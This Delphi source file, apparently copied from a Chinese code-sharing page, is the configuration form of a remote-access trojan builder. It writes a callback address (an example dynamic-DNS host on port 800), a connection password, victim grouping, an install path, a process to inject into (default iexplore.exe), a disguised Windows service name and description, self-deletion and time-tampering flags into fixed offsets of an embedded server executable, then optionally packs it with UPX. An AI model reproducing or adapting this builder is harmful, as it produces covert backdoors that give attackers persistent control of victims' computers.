📄 congigserverunit.pas
字号:
unit CongigServerUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,ShellApi,
Dialogs, DynamicSkinForm, SkinCtrls, ComCtrls,LangFrm, SkinBoxCtrls, StdCtrls,DESCrypt,
Mask, ExtCtrls, SkinTabs, ImgList;
Const
OFFSET_URL = 581864; //更新IP
OFFSET_PAS = 581932; //上线密码 +68
OFFSET_GUP = 581956; //上线分组 24
OFFSET_BEI = 582024; //上线备注 68
OFFSET_PAT = 582092; //安装路径 68
OFFSET_NAM = 582108; //安装名称 16
OFFSET_TIM = 582140; //修改系统时间 32
OFFSET_DEL = 582148; //自动删除 8
OFFSET_WNN = 582156; //服务名称 8
OFFSET_WNV = 582224; //显示名称 68
OFFSET_WNT = 582292; //描述信息 68
OFFSET_EXE = 615560; //注入路径
type
TConfigServer = class(TLangForm)
SaveDialog1: TSaveDialog;
spDynamicSkinForm1: TspDynamicSkinForm;
PageControl6: TspSkinPageControl;
TabSheet1: TspSkinTabSheet;
Label1: TspSkinStdLabel;
Label3: TspSkinStdLabel;
Label6: TspSkinStdLabel;
Label4: TspSkinStdLabel;
UrlEdit: TspSkinEdit;
BeiZhuEdit: TspSkinEdit;
FenZuEdit: TspSkinEdit;
Passwd: TspSkinEdit;
UrlButton: TspSkinButton;
PassButton: TspSkinButton;
TabSheet2: TspSkinTabSheet;
Label8: TspSkinStdLabel;
Label9: TspSkinStdLabel;
ComboBox1: TspSkinComboBox;
CheckBox1: TspSkinCheckRadioBox;
CheckBox2: TspSkinCheckRadioBox;
ComboBox2: TspSkinComboBox;
TabSheet4: TspSkinTabSheet;
Label14: TspSkinStdLabel;
Label15: TspSkinStdLabel;
Label16: TspSkinStdLabel;
ServerView: TspSkinEdit;
ServerName: TspSkinEdit;
ServerText: TspSkinEdit;
spSkinTabSheet1: TspSkinTabSheet;
spSkinGroupBox1: TspSkinGroupBox;
RadioBox10: TspSkinCheckRadioBox;
RadioBox11: TspSkinCheckRadioBox;
ExeBox1: TspSkinComboBox;
spSkinPanel1: TspSkinPanel;
Label26: TspSkinStdLabel;
NextButton: TspSkinButton;
OverEdit: TspSkinEdit;
TimeBox: TspSkinCheckRadioBox;
OpenDialog1: TOpenDialog;
procedure UrlButtonClick(Sender: TObject);
procedure PassButtonClick(Sender: TObject);
procedure NextButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure OverEditButtonClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure RadioBox10Click(Sender: TObject);
procedure RadioBox11Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
ConfigServer: TConfigServer;
UPXPath:string;
mIcon:TIcon;
implementation
uses
main;
{$R *.dfm}
{$R 'upxserver.RES'}
procedure TConfigServer.UrlButtonClick(Sender: TObject);
begin
MessageBox(0,Pchar('网页文件示例:http://haidao.3322.org/ip.txt'+#13+#10+'DNS解析域名格式示例:haidao.3322.org添加自定义端口如:haidao.3322.org:800'
+#13+#10+'固定静态IP格式示例:127.0.0.1添加自定义端口如:127.0.0.1:800'+#13+#10+'注意:不添加自定义端口就默认为800端口上线!'),Pchar('说明'),MB_ICONINFORMATION or MB_OK);
end;
procedure TConfigServer.PassButtonClick(Sender: TObject);
begin
MessageBox(0,Pchar('连接密码说明:'+#13+#10+'请不要用中文,该密码是连接自动上线主机时要用到的,如果不设则为空'
),Pchar('说明'),MB_ICONINFORMATION or MB_OK);
end;
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
HResInfo: THandle;
HGlobal: THandle;
HFile: THandle;
Ptr: Pointer;
Size, N: Integer;
begin
HFile := INVALID_HANDLE_VALUE;
repeat
Result := False;
HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
if HResInfo = 0 then Break;
HGlobal := LoadResource(HInstance, HResInfo);
if HGlobal = 0 then Break;
Ptr := LockResource(HGlobal);
Size := SizeOfResource(HInstance, HResInfo);
if Ptr = nil then Break;
HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if HFile = INVALID_HANDLE_VALUE then Break;
if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
until True;
if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
SetFileAttributes(PChar(OutName), 0);
end;
//生成服务端
procedure TConfigServer.NextButtonClick(Sender: TObject);
var
ResourceLocation: HRSRC;
ResourceSize, BytesWritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
WriteBuff, ResultFilePath, ResourcePointer: PChar;
Url,Pas,Gup,Bei,Pat,Nam,Del,Tim,Exe,Wnn,Wnv,Wnt: string;
begin
if trim(UrlEdit.Text) = '' then
begin
MessageBox(0, '请输入上线地址', '提示信息', mb_iconinformation);
exit;
end;
Url := trim(UrlEdit.Text); // 更新IP
Pas := trim(Passwd.Text); //上线密码
Gup := trim(FenZuEdit.Text); //上线分组
Bei := trim(BeiZhuEdit.Text); //上线备注
Pat := trim(ComboBox1.Text); //安装路径
Nam := trim(ComboBox2.Text); //安装名称
if CheckBox1.Checked then Del := 'TRUE'; //自动删除安装文件
if TimeBox .Checked then Tim := 'TRUE'; //修改系统时间
if RadioBox10.Checked then Exe:='iexplore.exe'
else Exe:= trim(ExeBox1.text);
Wnn := trim(ServerName.Text); //服务名称
Wnv := trim(ServerView.Text); //显示名称
Wnt := trim(ServerText.Text); //描述信息
ResultFilePath := pchar(OverEdit.Text); //服务端保存路径
ResourceLocation := FindResource(HInstance, 'MYSERVER', RT_RCDATA);
If ResourceLocation = 0 Then Exit;
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize = 0 Then Exit;
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle = 0 Then Exit;
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer = nil then Exit;
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if FileHandle = INVALID_HANDLE_VALUE Then Exit;
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
SetFilePointer(FileHandle, OFFSET_URL, nil, FILE_BEGIN); //更新IP
WriteBuff := PChar(Url + StringOfChar(#0, 64 - Length(Url)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_PAS, nil, FILE_BEGIN); //上线密码
WriteBuff := PChar(Pas + StringOfChar(#0, 20 - Length(Pas)));
WriteFile(FileHandle, WriteBuff^, 21, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_GUP, nil, FILE_BEGIN); //上线分组
WriteBuff := PChar(Gup + StringOfChar(#0, 64 - Length(Gup)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_BEI, nil, FILE_BEGIN); //上线备注
WriteBuff := PChar(Bei + StringOfChar(#0, 64 - Length(Bei)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_PAT, nil, FILE_BEGIN); //安装路径
WriteBuff := PChar(Pat + StringOfChar(#0, 13 - Length(Pat)));
WriteFile(FileHandle, WriteBuff^, 14, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_NAM, nil, FILE_BEGIN); //安装名称
WriteBuff := PChar(Nam + StringOfChar(#0, 30 - Length(Nam)));
WriteFile(FileHandle, WriteBuff^, 31, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_DEL, nil, FILE_BEGIN); //自动删除
WriteBuff := PChar(Del + StringOfChar(#0, 4 - Length(Del)));
WriteFile(FileHandle, WriteBuff^, 5, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_TIM, nil, FILE_BEGIN); //修改系统时间
WriteBuff := PChar(Tim + StringOfChar(#0, 4 - Length(Tim)));
WriteFile(FileHandle, WriteBuff^, 5, BytesWritten, nil);
SetFilePointer(FileHandle,OFFSET_EXE, nil, FILE_BEGIN); //注入路径
WriteBuff := PChar(Exe + StringOfChar(#0, 15 - Length(Del)));
WriteFile(FileHandle, WriteBuff^, 16, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_WNN, nil, FILE_BEGIN); //服务名称
WriteBuff := PChar(Wnn + StringOfChar(#0, 64 - Length(Wnn)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_WNV, nil, FILE_BEGIN); //显示名称
WriteBuff := PChar(Wnv + StringOfChar(#0, 64 - Length(Wnv)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_WNT, nil, FILE_BEGIN); //描述信息
WriteBuff := PChar(Wnt + StringOfChar(#0, 64 - Length(Wnt)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
CloseHandle(FileHandle);
MessageBox(0, '配置文件成功', '提示', mb_iconinformation);
if CheckBox2.Checked then
begin
UPXPath:=ExtractFilePath(Paramstr(0)) + 'IPData/';
if ExtractRes('RCDUPX', 'UPXKMM', UPXPath + 'UPX.EXE') then
begin
ShellExecute(0, nil, PChar(UPXPath + 'upx.exe'), PChar('"' + OverEdit.Text + '"'), nil, SW_MINIMIZE);
end;
end;
Close;
end;
procedure TConfigServer.FormCreate(Sender: TObject);
begin
OverEdit.Text:=ExtractFilePath(Paramstr(0))+ '服务端.exe';
end;
procedure TConfigServer.OverEditButtonClick(Sender: TObject);
begin
if SaveDialog1.Execute then
begin
OverEdit.Text:=SaveDialog1.FileName;
try
if pos('.exe',OverEdit.Text)=0 then OverEdit.Text:=OverEdit.Text+'.exe';
except
end;
end;
end;
procedure TConfigServer.FormDestroy(Sender: TObject);
begin
DeleteFile(UPXPath + 'upx.exe');
end;
procedure TConfigServer.RadioBox10Click(Sender: TObject);
begin
if RadioBox10.Checked then
begin
RadioBox11.Checked:=False;
Exebox1.Enabled:=False;
end;
end;
procedure TConfigServer.RadioBox11Click(Sender: TObject);
begin
if RadioBox11.Checked then
begin
RadioBox10.Checked:=False;
Exebox1.Enabled:=True;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -